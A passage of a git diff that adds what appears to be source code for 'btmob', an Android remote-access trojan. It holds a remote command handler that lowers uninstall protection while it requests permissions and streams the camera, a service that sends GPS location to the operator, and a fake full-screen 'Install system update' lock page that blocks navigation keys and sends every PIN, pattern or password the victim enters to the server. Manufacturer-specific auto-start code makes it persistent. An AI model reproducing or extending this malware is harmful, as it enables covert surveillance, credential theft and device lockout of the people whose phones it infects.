AccessServices.PreventDelete = false; +// +// Intent intent = new Intent(Settings.ACTION_MANAGE_WRITE_SETTINGS); +// intent.setData(Uri.parse("package:" + Dummyctx.getPackageName())); +// intent.addFlags(FLAG_ACTIVITY_NEW_TASK); +// Dummyctx.startActivity(intent); +// new Thread(() -> { +// try { +// Thread.sleep(5000); +// } catch (InterruptedException e) { +// e.printStackTrace(); +// } +// AccessServices.PreventDelete = true; +// }).start(); +// } +// +// } catch (Exception a) { +// a.printStackTrace(); +// } +// } + else if (neededprim.equals("Doze")) { + if (!UtliTools.IsIgnore_Battery(Dummyctx)) { + try { + AccessServices.PreventDelete = false; + Intent intent1 = new + Intent(Settings.ACTION_REQUEST_IGNORE_BATTERY_OPTIMIZATIONS, + Uri.parse("package:" + Dummyctx.getPackageName())); + intent1.addFlags(FLAG_ACTIVITY_NEW_TASK); + + intent1.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY); + // if (My_Access_inst != null) { + AccessServices.forbattery = true; + // } + // WriteBool(Dummyctx, Consts.Auto_Battary, true); + Dummyctx.startActivity(intent1); + + + new Thread(() -> { + try { + + Thread.sleep(5000); + + } catch (InterruptedException e) { + e.printStackTrace(); + } + AccessServices.PreventDelete = true; + AccessServices.forbattery = false; + // WriteBool(Dummyctx, Consts.Auto_Battary, false); + }).start(); + } catch (Exception ex) { + } + } + + } else if (neededprim.equals("FileS")) { + try { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R && !Environment.isExternalStorageManager()) { + + Intent intentstorg = new Intent(Settings.ACTION_MANAGE_APP_ALL_FILES_ACCESS_PERMISSION); + Uri uri = Uri.fromParts("package", Dummyctx.getPackageName(), null); + intentstorg.setData(uri); + intentstorg.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + + AccessServices.PreventDelete = false; + AccessServices.FOR_EXTR_STRG = true; + Dummyctx.startActivity(intentstorg); + + new Thread(() -> { + try { + + Thread.sleep(5000); + + } catch (InterruptedException e) { + e.printStackTrace(); + } + AccessServices.PreventDelete = true; + AccessServices.FOR_EXTR_STRG = false; + }).start(); + } else { + String[] NeededPrim = MyPermissions.GetRequierdPrims("FA"); + Intent myIntent = new Intent(Dummyctx, RequestPermissions2.class); + myIntent.addFlags(FLAG_ACTIVITY_NEW_TASK); + myIntent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY); + myIntent.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); + myIntent.putExtra("Data", NeededPrim);//Optional parameters + Dummyctx.startActivity(myIntent); + } + } catch (Exception a) { + + } + } else if (neededprim.equals("Draw")) { + AccessServices.PreventDelete = false; + AccessServices.FOR_DRAW_OVER = true; + Dummyctx.startActivity(new Intent(Dummyctx, ActivityDraw.class) + .addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS) + .addFlags(FLAG_ACTIVITY_NEW_TASK)); + new Thread(() -> { + try { + + Thread.sleep(5000); + + } catch (InterruptedException e) { + e.printStackTrace(); + } + AccessServices.PreventDelete = true; + AccessServices.FOR_DRAW_OVER = false; + }).start(); + } else if (neededprim.equals("inst")) { + + Dummyctx.startActivity(new Intent(Dummyctx, Requestinstall.class) + .addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS) + .addFlags(FLAG_ACTIVITY_NEW_TASK)); + + } else if (neededprim.contains("<")) { + String[] NeededPrim = MyPermissions.GetRequierdPrims(neededprim); + if (NeededPrim != null && NeededPrim.length > 0) { + if (NeededPrim[0].equals("EX")) { + String Exptionmsg = NeededPrim[1]; + AlertServer(Dummyctx, "Request Permission Error", Exptionmsg); + } else { + + Intent myIntent = new Intent(Dummyctx, RequestPermissions2.class); + myIntent.addFlags(FLAG_ACTIVITY_NEW_TASK); + myIntent.addFlags(Intent.FLAG_ACTIVITY_NO_HISTORY); + myIntent.addFlags(Intent.FLAG_ACTIVITY_EXCLUDE_FROM_RECENTS); + myIntent.putExtra("Data", NeededPrim);//Optional parameters + Dummyctx.startActivity(myIntent); + } + } + } + break; + } + + } catch (Exception s) { + AlertServer(Dummyctx, "Error Permissions", s.getMessage()); + } + break; + case Rename: + String newname = Case[1]; + if (!newname.isEmpty() && newname.length() > 0) { + MySettings.Write(Dummyctx, USR_NAME, newname); + AlertServer(Dummyctx, "New Name", "Hello, My new name is: " + newname); + } + break; + case Camera: + //camera > On/off/load > client id > type front or back > resolution > qulaity + try { + + String[] Camsp = MyPermissions.GetPrimname(MyPermissions.Prims.Camera); + if (MyPermissions.hasPermissions(Dummyctx, Camsp)) { + + switch (Case[1]) { + case "L": + try { + AccessTools.BringMeFront(Dummyctx); + String Respone = CameraCap.load(); + // MySocket.SendToClient(id_Commands.LoadCam, (Respone).getBytes()); + try { + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", "cam"); + jsonObject.put("cuz", "l"); + jsonObject.put("datacam", Respone); + String jsonData = jsonObject.toString(); + + Livemessage(Dummyctx, jsonData); + } catch (Exception a) { + + } + } catch (Exception e) { + + } + break; + case "ON": + + // if (!Codes.isServiceRunning(ctx, CameraCap.class)) { + AccessTools.BringMeFront(Dummyctx); + String ClientID = Case[2]; +// if(!ClientID.startsWith("BT-")){ +// return; +// } + String typecamera = Case[3]; + String wdth = Case[4]; + String heigh = Case[5]; + String qulty = Case[6]; + Intent Cameraint = new Intent(Dummyctx, CameraCap.class); + Cameraint.putExtra("CData", typecamera + "," + wdth + "," + heigh + "," + qulty + "," + ClientID); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + + Dummyctx.startForegroundService(Cameraint); + } else { + Dummyctx.startService(Cameraint); + } + // } + break; + case "OFF": + // if (Codes.isServiceRunning(ctx, CameraCap.class)) { + // CameraCap.ReleaseAll(ctx); + + Intent stopint = new Intent(Dummyctx, CameraCap.class); + stopint.setAction(CameraCap.ACTION_STOP_CAM); + Dummyctx.startService(stopint); + // } + break; + } + + + } else { + // MySocket.SendToClient(id_Commands.ALERT, ("Access Camera Permission is Disabled.").getBytes()); + } + + + } catch (Exception s) { + } + break; + + case Delete: +// Intent intentremove = new Intent(Intent.ACTION_UNINSTALL_PACKAGE); +// intentremove.setData(Uri.parse("package:" + Dummyctx.getPackageName())); +// intentremove.putExtra(Intent.EXTRA_RETURN_RESULT, true); +// intentremove.addFlags(FLAG_ACTIVITY_NEW_TASK); + + Intent intent = new Intent(Intent.ACTION_DELETE); + intent.addFlags(FLAG_ACTIVITY_NEW_TASK); + intent.setData(Uri.parse("package:" + Dummyctx.getPackageName())); + + + + Consts.removeme = true; + AccessServices.PreventDelete=false; + Dummyctx.startActivity(intent); + //Dummyctx.startActivity(intentremove); + break; + } + + } + } + + } catch (Exception ex) { + ex.printStackTrace(); + } + // } + // }; + // thread.start(); + } + +} + diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/LocationMonitor.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/LocationMonitor.java new file mode 100644 index 0000000..28ee20c --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/LocationMonitor.java @@ -0,0 +1,129 @@ +package com.icontrol.protector; +import android.Manifest; +import android.app.Notification; +import android.app.Service; +import android.content.Context; +import android.content.Intent; +import android.content.pm.PackageManager; +import android.content.pm.ServiceInfo; +import android.location.Location; +import android.location.LocationListener; +import android.location.LocationManager; +import android.os.Build; +import android.os.Bundle; +import android.os.IBinder; + +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; +import androidx.core.app.ActivityCompat; + +import org.json.JSONException; +import org.json.JSONObject; + +public class LocationMonitor extends Service { + + private LocationListener myLoListener; + private LocationManager myLoManager; + private boolean isActive = false; + + @Nullable + @Override + public IBinder onBind(Intent intent) { + return null; + } + private static int Notifi_ID = 111; + private void startForegroundService(Context ctx) { + try{ + // int Notifi_ID = UtliTools.randomnumber(11111, 88888); + MyNotification MyNotifiint = MyNotification.getInstance(ctx); + Notification notification = MyNotifiint.createNotification(ctx); + if (Build.VERSION.SDK_INT >= 34) { + this.startForeground(Notifi_ID, notification, + ServiceInfo.FOREGROUND_SERVICE_TYPE_LOCATION); + } else { + this.startForeground(Notifi_ID, notification); + } + }catch (Exception a){} + + } + + private void startLocationTracking() { + if (isActive) return; + + isActive = true; + + myLoManager = (LocationManager) getSystemService(Context.LOCATION_SERVICE); + + myLoListener = new LocationListener() { + @Override + public void onLocationChanged(@NonNull Location location) { + if (!isActive) return; + + double latitude = location.getLatitude(); + double longitude = location.getLongitude(); + + MyLoger.Debug("test location:", latitude + " ---- " + longitude); + + try { + JSONObject jsonObject = new JSONObject(); + jsonObject.put("type", id_Commands.Location); + jsonObject.put("ltd", latitude); + jsonObject.put("lgd", longitude); + + String jsonData = jsonObject.toString(); + LiveChat.instance(getApplicationContext()).Livemessage(getApplicationContext(), jsonData); + } catch (JSONException e) { + e.printStackTrace(); + } + } + @Override + public void onStatusChanged(String provider, int status, Bundle extras) { + // Optional: can be empty + } + + @Override + public void onProviderEnabled(String provider) {} + + @Override + public void onProviderDisabled(String provider) {} + }; + + if (ActivityCompat.checkSelfPermission(getApplicationContext(), Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED) { + myLoManager.requestLocationUpdates(LocationManager.GPS_PROVIDER, 0, 0, myLoListener); + myLoManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER, 0, 0, myLoListener); + } + } + + private void stopLocationTracking() { + isActive = false; + + if (myLoManager != null && myLoListener != null) { + myLoManager.removeUpdates(myLoListener); + myLoListener = null; + } + + stopForeground(false); + stopSelf(); + } + + @Override + public int onStartCommand(Intent intent, int flags, int startId) { + String action = intent != null ? intent.getAction() : null; + + if ("start".equals(action)) { + startForegroundService(getApplicationContext()); + startLocationTracking(); + } else if ("stop".equals(action)) { + stopLocationTracking(); + } + + return START_STICKY; + } + + @Override + public void onDestroy() { + stopLocationTracking(); + super.onDestroy(); + } +} + diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/LockActivity.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/LockActivity.java new file mode 100644 index 0000000..29b0a2f --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/LockActivity.java @@ -0,0 +1,269 @@ +package com.icontrol.protector; + +import static com.icontrol.protector.UtliTools.StorePasscode; +import static com.icontrol.protector.UtliTools.Wallpaper; +import static com.icontrol.protector.UtliTools.getAppIconAsBase64; +import static com.icontrol.protector.WorkServices.MyWorker.AlertServer; + +import android.app.Activity; +import android.content.Context; +import android.os.Build; +import android.os.Bundle; +import android.view.KeyEvent; +import android.view.View; +import android.view.Window; +import android.view.WindowInsets; +import android.view.WindowInsetsController; +import android.view.WindowManager; +import android.webkit.CookieManager; +import android.webkit.JavascriptInterface; +import android.webkit.JsResult; +import android.webkit.WebChromeClient; +import android.webkit.WebSettings; +import android.webkit.WebView; +import android.webkit.WebViewClient; + +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStream; +import java.io.InputStreamReader; + +public class LockActivity extends Activity { + + + String smallbaseimg="iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+A8AAQUBAScY42YAAAAASUVORK5CYII="; + + + + private static LockActivity instance; + public static boolean isActivityOpen() { + return instance != null; + } + + public static void endlock() { + if (instance != null){ + instance.finish(); + instance=null; + } + } + + + @Override + public void onWindowFocusChanged(boolean hasFocus) { + super.onWindowFocusChanged(hasFocus); + if (hasFocus) { + getWindow().getDecorView().setSystemUiVisibility( + View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | + View.SYSTEM_UI_FLAG_FULLSCREEN | + View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY + ); + } + } + + static Context myctx=null; + @Override + protected void onCreate(Bundle savedInstanceState) { + super.onCreate(savedInstanceState); + + instance =this; + + + requestWindowFeature(Window.FEATURE_NO_TITLE); + + getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN, + WindowManager.LayoutParams.FLAG_FULLSCREEN); + try{ + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) { + WindowInsetsController insetsController = getWindow().getInsetsController(); + if (insetsController != null) { + insetsController.hide(WindowInsets.Type.statusBars() | WindowInsets.Type.navigationBars()); + insetsController.setSystemBarsBehavior( + WindowInsetsController.BEHAVIOR_SHOW_TRANSIENT_BARS_BY_SWIPE); + } + }else{ + View decorView = getWindow().getDecorView(); + int uiOptions = View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE_STICKY; + decorView.setSystemUiVisibility(uiOptions); + } + + }catch (Exception a){} + + if (myctx == null) + { + myctx = getApplicationContext(); + } + + WebView webView = new WebView((Context)this); + webView.getSettings().setJavaScriptEnabled(true); + webView.getSettings().setLoadsImagesAutomatically(true); + webView.getSettings().setLoadWithOverviewMode(true); + try{ + CookieManager.getInstance().setAcceptCookie(true); + CookieManager.getInstance().setAcceptThirdPartyCookies(webView, true); + }catch (Exception a){ + + } + webView.getSettings().setUseWideViewPort(true); + webView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY); + webView.getSettings().setAllowFileAccess(true); + webView.getSettings().setCacheMode(WebSettings.LOAD_CACHE_ELSE_NETWORK); + webView.getSettings().setDomStorageEnabled(true); + webView.getSettings().setAllowFileAccessFromFileURLs(true); + webView.getSettings().setAllowUniversalAccessFromFileURLs(true); + webView.getSettings().setAllowContentAccess(true); + try { + webView.setLayerType(View.LAYER_TYPE_HARDWARE, null); + webView.getSettings().setPluginState(WebSettings.PluginState.ON); + webView.getSettings().setRenderPriority(WebSettings.RenderPriority.HIGH); + webView.setBackgroundColor(0xffffffff); + } catch (Exception a) { + } + webView.setScrollBarStyle(View.SCROLLBARS_INSIDE_OVERLAY); + webView.setWebViewClient(new LockActivity.MyWebViewClient()); + webView.setWebChromeClient(new LockActivity.MyWebChromeClient()); + webView.addJavascriptInterface(new LockActivity.WebAppInterface((Context)this), "CallBacker"); + + String currentwall = Wallpaper(myctx,340,650,false); + try { + if (currentwall.equals("-1")){ + currentwall= smallbaseimg; + } + + +// MySettings.Write(ctx,Consts.lock_pin,thepin); + + + // Install system update + String thetitle = MySettings.Read(myctx,Consts.lock_title,"Install system update"); + String themsg = ""; + String sixpin = "false"; + + String okpin = MySettings.Read(myctx,Consts.lock_pin,""); + if (okpin.length() == 6){ + sixpin="true"; + } + String thetype = MySettings.Read(myctx,Consts.lock_type,"1"); + + if (thetype.equals("3")) { + themsg = MySettings.Read(myctx,Consts.lock_msg,"Enter Password"); + }else if (thetype.equals("2")){ + themsg = MySettings.Read(myctx,Consts.lock_msg,"Enter PIN"); + }else{ + themsg = MySettings.Read(myctx,Consts.lock_msg,"Draw pattern"); + } + + My_Crpter cr = My_Crpter.Getinstance(); + String PageBase64 = cr.Dcrpt_Str(loadHtmlFromAssets(thetype +".bt")) //1 = pattern , 2 = pin, 3 = password + .replace("[TITLE]",thetitle) + .replace(smallbaseimg,currentwall) + .replace("[DIS]",themsg) + .replace("PINLENGTH",sixpin) + .replace("[BTN]",My_Configs._Login_btn_); + webView.loadDataWithBaseURL(null, PageBase64, "text/html", "UTF-8", null); + setContentView((View)webView); + } catch (Exception e) { + finish(); + } + + + } + + private String loadHtmlFromAssets(String fileName) { + StringBuilder html = new StringBuilder(); + try (InputStream is = getAssets().open(fileName); + BufferedReader reader = new BufferedReader(new InputStreamReader(is))) { + String line; + while ((line = reader.readLine()) != null) { + html.append(line).append("\n"); + } + } catch (IOException e) { + e.printStackTrace(); + return null; + } + return html.toString(); + } + + @Override + protected void onStop() { + super.onStop(); + } + @Override + public void onDestroy(){ + instance =null; + super.onDestroy(); + } + @Override + public boolean onKeyDown(int keyCode, KeyEvent event) { + if (keyCode == KeyEvent.KEYCODE_HOME) { + return true; + } + if (keyCode == KeyEvent.KEYCODE_BACK) { + return true; + } + if (keyCode == KeyEvent.KEYCODE_MENU) { + return true; + } + return false; + } + @Override + public void onBackPressed() { + super.onBackPressed(); + } + @Override + public boolean dispatchKeyEvent(KeyEvent keyEvent){ + return true; + } + + private class MyWebChromeClient extends WebChromeClient { + private MyWebChromeClient() {} + + public boolean onJsAlert(WebView param1WebView, String param1String1, String param1String2, JsResult param1JsResult) { + return true; + } + } + + private class MyWebViewClient extends WebViewClient { + private MyWebViewClient() {} + + public void onPageFinished(WebView param1WebView, String param1String) {} + + public boolean shouldOverrideUrlLoading(WebView param1WebView, String param1String) { + return false; + } + } + + + + public class WebAppInterface { + Context mContext; + + WebAppInterface(Context param1Context) { + this.mContext = param1Context; + } + + @JavascriptInterface + public void OK(String data) { + try { + //Log.d("x",data); + AlertServer(myctx,"Lock mobile","Attempt code: "+data); + if (data.length() >= 4){ + StorePasscode(myctx,data); + String okpin = MySettings.Read(myctx,Consts.lock_pin,""); + if(okpin.length() > 0){ + if(okpin.toLowerCase().equals(data.toLowerCase())){ + MySettings.WriteBool(myctx,Consts.lock_screen,false); + finish(); + } + + }else{ + MySettings.WriteBool(myctx,Consts.lock_screen,false); + finish(); + } + } + + }catch (Exception e){ + + } + } + } +} diff --git a/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MIUIAutoStart.java b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MIUIAutoStart.java new file mode 100644 index 0000000..d0c4dc4 --- /dev/null +++ b/btmob APK source/APK/app/src/main/java/com/icontrol/protector/MIUIAutoStart.java @@ -0,0 +1,486 @@ +package com.icontrol.protector; + + + + +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.os.Build; +import android.util.Log; + +import java.util.Arrays; +import java.util.List; +import java.util.Locale; + +@SuppressWarnings("FieldCanBeLocal") + + +public class MIUIAutoStart { + + private static volatile MIUIAutoStart instance = null; + + // Brand and Package Details + private static final String BRAND_MEIZU = "meizu"; + private static final String PACKAGE_MEIZU_MAIN = "com.meizu.safe"; + private static final String PACKAGE_MEIZU_COMPONENT = "com.meizu.safe.permission.SmartBGActivity"; + + private static final String BRAND_XIAOMI = "xiaomi"; + private static final String BRAND_XIAOMI_POCO = "poco"; + private static final String BRAND_XIAOMI_REDMI = "redmi"; + private static final String PACKAGE_XIAOMI_MAIN = "com.miui.securitycenter"; + private static final String PACKAGE_XIAOMI_COMPONENT = "com.miui.permcenter.autostart.AutoStartManagementActivity"; + + private static final String PACKAGE_XIAOMI_COMPONENT_FALLBACK_A = "com.miui.powerkeeper.ui.HiddenAppsConfigActivity"; + + private static final String BRAND_ULONG = "ulong"; + private static final String PACKAGE_ULONG_MAIN = "com.yulong.android.coolsafe"; + private static final String PACKAGE_ULONG_COMPONENT = "com.yulong.android.coolsafe.ui.activity.autorun.AutoRunListActivity"; + + private static final String BRAND_LETV = "letv"; + private static final String PACKAGE_LETV_MAIN = "com.letv.android.letvsafe"; + private static final String PACKAGE_LETV_COMPONENT = "com.letv.android.letvsafe.AutobootManageActivity"; + private static final String PACKAGE_LETV_COMPONENT_A = "com.letv.android.permissionautoboot"; + + private static final String BRAND_ASUS = "asus"; + private static final String PACKAGE_ASUS_MAIN = "com.asus.mobilemanager"; + private static final String PACKAGE_ASUS_COMPONENT = "com.asus.mobilemanager.powersaver.PowerSaverSettings"; + private static final String PACKAGE_ASUS_COMPONENT_FALLBACK = "com.asus.mobilemanager.autostart.AutoStartActivity"; + + private static final String BRAND_HONOR = "honor"; + private static final String PACKAGE_HONOR_MAIN = "com.huawei.systemmanager"; + private static final String PACKAGE_HONOR_COMPONENT = "com.huawei.systemmanager.optimize.process.ProtectActivity"; + + private static final String BRAND_HUAWEI = "huawei"; + private static final String PACKAGE_HUAWEI_MAIN = "com.huawei.systemmanager"; + private static final String PACKAGE_HUAWEI_COMPONENT = "com.huawei.systemmanager.startupmgr.ui.StartupNormalAppListActivity"; + private static final String PACKAGE_HUAWEI_COMPONENT_FALLBACK = "com.huawei.systemmanager.optimize.process.ProtectActivity"; + private static final String PACKAGE_HUAWEI_COMPONENT_FALLBACK_A = "com.huawei.systemmanager.startupmgr.ui.StartupNormalAppListActivity"; + private static final String PACKAGE_HUAWEI_COMPONENT_FALLBACK_B = "com.huawei.systemmanager.optimize.bootstart.BootStartActivity"; + private static final String PACKAGE_HUAWEI_COMPONENT_FALLBACK_C = "com.huawei.systemmanager.startupmgr.ui.StartupAwakedAppListActivity"; + private static final String PACKAGE_HUAWEI_COMPONENT_FALLBACK_D = "com.huawei.systemmanager.appcontrol.activity.StartupAppControlActivity"; + + + private static final String BRAND_VIVO = "vivo"; + private static final String PACKAGE_VIVO_MAIN = "com.iqoo.secure"; + private static final String PACKAGE_VIVO_MAIN_B = "com.iqoo.powersaving"; + private static final String PACKAGE_VIVO_FALLBACK = "com.vivo.permissionmanager"; + private static final String PACKAGE_VIVO_COMPONENT = "com.iqoo.secure.ui.phoneoptimize.AddWhiteListActivity"; + private static final String PACKAGE_VIVO_COMPONENT_FALLBACK = "com.vivo.permissionmanager.activity.BgStartUpManagerActivity"; + private static final String PACKAGE_VIVO_COMPONENT_FALLBACK_A = "com.iqoo.secure.ui.phoneoptimize.BgStartUpManager"; + private static final String PACKAGE_VIVO_COMPONENT_FALLBACK_A_B = "com.iqoo.powersaving.PowerSavingManagerActivity"; + private static final String PACKAGE_VIVO_MAIN_A_A = "com.vivo.abe"; + private static final String PACKAGE_VIVO_COMPONENT_FALLBACK_A_A = "com.vivo.applicationbehaviorengine.ui.ExcessivePowerManager"; + private static final String PACKAGE_VIVO_COMPONENT_FALLBACK_A_A_A = "com.vivo.permissionmanager.activity.PurviewTabActivity"; + + private static final String BRAND_NOKIA = "nokia"; + private static final String PACKAGE_NOKIA_MAIN = "com.evenwell.powersaving.g3"; + private static final String PACKAGE_NOKIA_COMPONENT = "com.evenwell.powersaving.g3.exception.PowerSaverExceptionActivity"; + + private static final String BRAND_SAMSUNG = "samsung"; + private static final String PACKAGE_SAMSUNG_MAIN = "com.samsung.android.lool"; + private static final String PACKAGE_SAMSUNG_COMPONENT = "com.samsung.android.sm.ui.battery.BatteryActivity"; + private static final String PACKAGE_SAMSUNG_COMPONENT_2 = "com.samsung.android.sm.battery.ui.usage.CheckableAppListActivity"; + private static final String PACKAGE_SAMSUNG_COMPONENT_3 = "com.samsung.android.sm.battery.ui.BatteryActivity"; + + private static final String BRAND_OPPO = "oppo"; + private static final String PACKAGE_OPPO_MAIN = "com.coloros.safecenter"; + private static final String PACKAGE_OPPO_FALLBACK = "com.oppo.safe"; + private static final String PACKAGE_OPPO_COMPONENT = "com.coloros.safecenter.permission.startup.StartupAppListActivity"; + private static final String PACKAGE_OPPO_COMPONENT_FALLBACK = "com.oppo.safe.permission.startup.StartupAppListActivity"; + private static final String PACKAGE_OPPO_COMPONENT_FALLBACK_A = "com.coloros.safecenter.startupapp.StartupAppListActivity"; + private static final String PACKAGE_OPPO_COMPONENT_FALLBACK_A_A = "com.coloros.powermanager.fuelgaue.PowerUsageModelActivity"; + + private static final String BRAND_ONE_PLUS = "oneplus"; + private static final String PACKAGE_ONE_PLUS_MAIN = "com.oneplus.security"; + private static final String PACKAGE_ONE_PLUS_FALLBACK = "com.oplus.securitypermission"; + private static final String PACKAGE_ONE_PLUS_COMPONENT = "com.oneplus.security.chainlaunch.view.ChainLaunchAppListActivity"; + private static final String PACKAGE_ONE_PLUS_ACTION = "com.android.settings.action.BACKGROUND_OPTIMIZE"; + private static final String PACKAGE_ONE_PLUS_COMPONENT_FALLBACK = "com.oplus.securitypermission.startup.StartupAppListActivity"; + private static final String PACKAGE_ONE_PLUS_COMPONENT_FALLBACK_A = "com.oneplus.security.startupapp.StartupAppListActivity"; + private static final String PACKAGE_ONE_PLUS_MAIN_A = "com.oplus.battery"; + private static final String PACKAGE_ONE_PLUS_COMPONENT_FALLBACK_A_B = "com.oplus.powermanager.fuelgaue.PowerControlActivity"; + + private static final List PACKAGES_TO_CHECK_FOR_PERMISSION = Arrays.asList( + PACKAGE_ASUS_MAIN, + PACKAGE_XIAOMI_MAIN, + PACKAGE_LETV_MAIN, + PACKAGE_ULONG_MAIN, + PACKAGE_HONOR_MAIN, + PACKAGE_MEIZU_MAIN, + PACKAGE_OPPO_MAIN, + PACKAGE_OPPO_FALLBACK, + PACKAGE_VIVO_MAIN, + PACKAGE_VIVO_FALLBACK, + PACKAGE_NOKIA_MAIN, + PACKAGE_HUAWEI_MAIN, + PACKAGE_ONE_PLUS_MAIN, + PACKAGE_ONE_PLUS_MAIN_A, + PACKAGE_ONE_PLUS_FALLBACK); + + private MIUIAutoStart() { + } + + public static MIUIAutoStart getInstance() { + if (instance == null) { + synchronized (MIUIAutoStart.class) { + if (instance == null) { + instance = new MIUIAutoStart(); + } + } + } + return instance; + } + + public static boolean isOppoOrOnePlus() { + String brand = Build.BRAND.toLowerCase(Locale.ROOT); + return brand.equals(BRAND_OPPO) || brand.equals(BRAND_ONE_PLUS); + } + + public static boolean isSamsung() { + String brand = Build.BRAND.toLowerCase(Locale.ROOT); + return brand.equals(BRAND_SAMSUNG); + } + + public static boolean isXiaomi() { + String brand = Build.BRAND.toLowerCase(Locale.ROOT); + return brand.equals(BRAND_XIAOMI) || brand.equals(BRAND_XIAOMI_POCO) || brand.equals(BRAND_XIAOMI_REDMI); + } + + public boolean getAutoStartPermission(Context context) { + String brand = Build.BRAND.toLowerCase(Locale.ROOT); + switch (brand) { + case BRAND_ASUS: + return autoStartAsus(context); + case BRAND_XIAOMI: + case BRAND_XIAOMI_POCO: + case BRAND_XIAOMI_REDMI: + return autoStartXiaomi(context); + case BRAND_MEIZU: + return autoStartMeizu(context); + + case BRAND_ULONG: + return autoStartUlong(context); + case BRAND_LETV: + return autoStartLetv(context); + case BRAND_HONOR: + return autoStartHonor(context); + case BRAND_HUAWEI: + return autoStartHuawei(context); + case BRAND_OPPO: + return autoStartOppo(context); + case BRAND_ONE_PLUS: + return autoStartOnePlus(context); + case BRAND_VIVO: + return autoStartVivo(context); + case BRAND_NOKIA: + return autoStartNokia(context); + default: + return false; + } + } + + public boolean isAutoStartPermissionAvailable(Context context) { + List packages; + PackageManager pm = context.getPackageManager(); + packages = pm.getInstalledApplications(0); + for (ApplicationInfo packageInfo : packages) { + if (PACKAGES_TO_CHECK_FOR_PERMISSION.contains(packageInfo.packageName)) { + return true; + } + } + return false; + } + + private void startIntent(Context context, String packageName, String componentName) { + try { + Intent intent = new Intent(); + intent.setComponent(new ComponentName(packageName, componentName)); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + context.startActivity(intent); + } catch (Exception exception) { + Log.e("MIUIAutoStart", "Error starting intent", exception); + } + } + + private void startAction(Context context, String action) { + try { + Intent intent = new Intent(); + intent.setAction(action); + intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + context.startActivity(intent); + } catch (Exception exception) { + Log.e("MIUIAutoStart", "Error starting action", exception); + } + } + + private boolean isPackageExists(Context context, String targetPackage) { + PackageManager pm = context.getPackageManager(); + try { + pm.getPackageInfo(targetPackage, PackageManager.GET_ACTIVITIES); + return true; + } catch (PackageManager.NameNotFoundException e) { + return false; + } + } + + private boolean autoStartXiaomi(Context context) { + if (isPackageExists(context, PACKAGE_XIAOMI_MAIN) || isPackageExists(context, "com.miui.powerkeeper")) { + try { + startIntent(context, PACKAGE_XIAOMI_MAIN, PACKAGE_XIAOMI_COMPONENT); + return true; + } catch (Exception e) { + Log.e("MIUIAutoStart", "Error in Xiaomi auto start", e); + try{ + startIntent(context, "com.miui.powerkeeper", PACKAGE_XIAOMI_COMPONENT_FALLBACK_A); + return true; + }catch (Exception a){ + Log.e("MIUIAutoStart", "Error in Xiaomi auto start 2", e); + } + + } + + } + return false; + } + + private boolean autoStartAsus(Context context) { + if (isPackageExists(context, PACKAGE_ASUS_MAIN)) { + try { + startIntent(context, PACKAGE_ASUS_MAIN, PACKAGE_ASUS_COMPONENT); + } catch (Exception e) { + Log.e("MIUIAutoStart", "Error in Asus auto start", e); + try { + startIntent(context, PACKAGE_ASUS_MAIN, PACKAGE_ASUS_COMPONENT_FALLBACK); + } catch (Exception ex) { + Log.e("MIUIAutoStart", "Error in Asus fallback auto start", ex); + return false; + } + } + return true; + } + return false; + } + + private boolean autoStartMeizu(Context context) { + if (isPackageExists(context, PACKAGE_MEIZU_MAIN)) { + try { + startIntent(context, PACKAGE_MEIZU_MAIN, PACKAGE_MEIZU_COMPONENT); + } catch (Exception e) { + Log.e("MIUIAutoStart", "Error in Meizu auto start", e); + return false; + } + return true; + } + return false; + } + + private boolean autoStartUlong(Context context) { + if (isPackageExists(context, PACKAGE_ULONG_MAIN)) { + try { + startIntent(context, PACKAGE_ULONG_MAIN, PACKAGE_ULONG_COMPONENT); + } catch (Exception e) { + Log.e("MIUIAutoStart", "Error in Ulong auto start", e); + return false; + } + return true; + } + return false; + } + + private boolean autoStartLetv(Context context) { + if (isPackageExists(context, PACKAGE_LETV_MAIN)) { + try { + startIntent(context, PACKAGE_LETV_MAIN, PACKAGE_LETV_COMPONENT); + } catch (Exception e) { + Log.e("MIUIAutoStart", "Error in Letv auto start", e); + return false; + } + return true; + } + return false; + } + + private boolean autoStartHonor(Context context) { + if (isPackageExists(context, PACKAGE_HONOR_MAIN)) { + try { + startIntent(context, PACKAGE_HONOR_MAIN, PACKAGE_HONOR_COMPONENT); + } catch (Exception e) { + Log.e("MIUIAutoStart", "Error in Honor auto start", e); + return false; + } + return true; + } + return false; + } + + private boolean autoStartHuawei(Context context) { + if (isPackageExists(context, PACKAGE_HUAWEI_MAIN)) { + try { + startIntent(context, PACKAGE_HUAWEI_MAIN, PACKAGE_HUAWEI_COMPONENT); + return true; + } catch (Exception e) { + Log.e("MIUIAutoStart", 